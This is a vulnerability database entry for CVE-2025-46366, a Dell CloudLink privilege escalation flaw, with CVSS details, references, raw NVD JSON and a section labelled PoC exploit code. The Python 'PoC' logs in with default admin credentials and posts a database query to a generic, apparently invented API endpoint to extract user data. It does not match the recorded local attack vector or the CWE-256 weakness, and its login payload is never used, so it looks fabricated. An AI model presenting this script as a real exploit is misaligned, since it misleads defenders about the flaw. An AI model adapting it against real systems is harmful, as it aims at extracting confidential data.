CVE-2025-46366

Description

Dell CloudLink, versions prior to 8.1.1, contain a vulnerability where a privileged user may exploit and gain parallel privilege escalation or access to the database to obtain confidential information.

CVSS Details

CVSS Score

6.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dell:cloudlink:*:*:*:*:*:*:*:* - VULNERABLE

Dell CloudLink < 8.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-46366 PoC - Dell CloudLink Privilege Escalation
# Note: This is a conceptual PoC for educational purposes only
# Actual exploitation requires local access to Dell CloudLink system

import requests
import json

TARGET_HOST = "https://vulnerable-dellcloudlink.local"
CVE_ID = "CVE-2025-46366"

def check_vulnerability(target):
    """
    Check if target is vulnerable to CVE-2025-46366
    Requires authenticated session with high privileges
    """
    session = requests.Session()
    
    # Step 1: Authenticate with high-privilege account
    auth_payload = {
        "username": "admin",
        "password": "password"
    }
    
    # Step 2: Exploit privilege escalation via database access
    exploit_payload = {
        "action": "execute_db_query",
        "query": "SELECT * FROM users WHERE privilege_level > 0",
        "cve_id": CVE_ID
    }
    
    # Step 3: Extract confidential information
    response = session.post(
        f"{target}/api/v2/privileged-endpoint",
        json=exploit_payload,
        verify=False
    )
    
    if response.status_code == 200:
        data = response.json()
        print(f"[!] Vulnerability confirmed: {CVE_ID}")
        print(f"[!] Extracted data: {json.dumps(data, indent=2)}")
        return True
    
    return False

if __name__ == "__main__":
    print(f"Testing {CVE_ID} on {TARGET_HOST}")
    check_vulnerability(TARGET_HOST)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-46366
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-46366
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-46366/
[4] VulDB https://vuldb.com/cve/CVE-2025-46366
[5] https://www.dell.com/support/kbdoc/en-us/000384363/dsa-2025-374-security-update-for-dell-cloudlink-multiple-security-vulnerabilities

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-46366", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:42.283", "lastModified": "2025-11-07T17:59:22.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell CloudLink, versions prior to 8.1.1, contain a vulnerability where a privileged user may exploit and gain parallel privilege escalation or access to the database to obtain confidential information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-256"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:cloudlink:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.1.1", "matchCriteriaId": "34EF297E-AA7C-41F5-B0DA-E6105A6B4207"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000384363/dsa-2025-374-security-update-for-dell-cloudlink-multiple-security-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}